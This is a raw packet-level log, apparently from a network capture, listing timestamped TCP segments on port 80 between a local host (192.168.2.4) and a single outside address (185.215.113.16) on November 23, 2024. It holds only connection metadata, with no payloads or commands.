Nov 23, 2024 20:23:12.227406979 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.228193045 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.228246927 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.228317976 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.228363991 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.228889942 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.228929043 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.228955030 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.228991032 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.229756117 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.229799986 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.229856968 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.229903936 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.230622053 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.230664015 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.230731010 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.230772018 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.231496096 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.231537104 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.231618881 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.231661081 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.232409000 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.232450962 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.232506990 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.232546091 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.233298063 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.233339071 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.233441114 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.233484983 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.234222889 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.234283924 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.234306097 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.234347105 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.235142946 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.235184908 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.235404015 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.235440969 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.235966921 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.236011028 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.236176014 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.236218929 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.236857891 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.236900091 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.236985922 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.237026930 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.237755060 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.237799883 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.237868071 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.237907887 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.238643885 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.238688946 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.238765001 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.238806009 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.239542961 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.239584923 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.239649057 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.239691019 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.240444899 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.240489960 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.240555048 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.240597963 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.241349936 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.241393089 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.241456985 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.241496086 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.242217064 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.242257118 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.242328882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.242363930 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.243412971 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.243457079 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.243613958 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.243657112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.244469881 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.244481087 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.244507074 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.244524002 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.245450020 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.245500088 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.245549917 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.245596886 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.246220112 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.246262074 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.246287107 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.246325970 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.246943951 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.246987104 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.247009993 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.247051001 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.247745991 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.247790098 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.247814894 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.247854948 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.248605013 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.248645067 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.248711109 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.248753071 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.249537945 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.249579906 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.249603987 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.249680042 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.250267029 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.250308990 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.250463963 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.250505924 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.251142979 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.251184940 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.251271009 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.251317978 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.252024889 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.252067089 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.252135038 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.252173901 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.252904892 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.252953053 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.253038883 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.253074884 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.253813028 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.253861904 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.253920078 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.253953934 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.254786968 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.254844904 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.254854918 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.254894018 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.255708933 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.255748987 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.255873919 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.255913973 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.256931067 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.256972075 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.257010937 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.257050037 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.257673025 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.257713079 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.257766962 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.257805109 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.258374929 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.258420944 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.258450031 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.258487940 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.259171963 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.259213924 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.259308100 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.259366989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.260101080 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.260143995 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.260198116 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.260237932 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.260947943 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.260988951 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.261070013 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.261106968 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.261850119 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.261893034 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.262000084 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.262038946 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.262758017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.262795925 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.262849092 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.262891054 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.263686895 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.263731956 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.263803959 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.263844013 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.264504910 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.264545918 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.395996094 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.396068096 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.396085024 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.396122932 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.396284103 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.396331072 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.396393061 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.396435976 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.397505045 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.397547960 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.397574902 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.397617102 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.398351908 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.398377895 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.398397923 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.398412943 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.398972988 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.399028063 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.399084091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.399126053 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.399815083 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.399857998 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.399934053 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.399974108 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.400671005 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.400712967 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.400862932 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.400904894 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.401989937 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.402036905 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.415998936 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.416029930 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.416069984 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.416085958 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.416105032 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.416256905 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.416302919 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.417005062 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.417100906 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.417151928 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.417889118 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.417968035 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.418018103 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.418766975 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.418816090 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.418886900 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.418922901 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.419652939 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.419693947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.419753075 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.419790983 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.420568943 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.420610905 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.420686007 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.420727968 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.421439886 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.421492100 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.421545982 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.421585083 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.422337055 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.422379971 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.422416925 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.422456980 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.423219919 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.423264027 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.423345089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.423388004 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.424148083 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.424194098 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.424261093 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.424299955 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.425091028 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.425132990 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.425162077 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.425203085 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.425908089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.425951004 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.426060915 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.426100969 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.426810026 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.426858902 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.426903009 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.426944971 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.427866936 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.427905083 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.427934885 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.427973986 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.428816080 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.428864002 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.428873062 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.428915024 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.429488897 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.429532051 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.429553032 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.429717064 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.430394888 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.430435896 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.430524111 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.430562973 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.431283951 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.431417942 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.431463003 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.432224035 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.432380915 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.432434082 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.433053970 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.433208942 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.433263063 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.433965921 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.434062004 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.434108973 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.434823036 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.434868097 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.434937954 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.435717106 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.435765982 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.435816050 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.436669111 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.436728954 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.436743975 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.436783075 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.437515974 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.437627077 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.437669039 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.438407898 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.438486099 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.438534021 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.439295053 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.439341068 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.439397097 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.440212965 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.440253973 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.440325975 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.441083908 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.441129923 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.441210985 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.441246033 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.441956043 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.442079067 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.442121983 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.442861080 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.442987919 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.443030119 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.443753958 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.443799019 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.444041967 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.444647074 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.444694042 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.444756985 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.445512056 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.445559978 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.445668936 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.445714951 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.446417093 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.446535110 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.446588039 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.447336912 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.447437048 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.447489977 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.448206902 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.448314905 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.448370934 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.449105024 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.449155092 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.449213028 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.449492931 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.449992895 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.450047016 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.450100899 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.450135946 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.450891972 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.450943947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.450978041 CET	80	49760	185.215.113.16	192.168.2.4
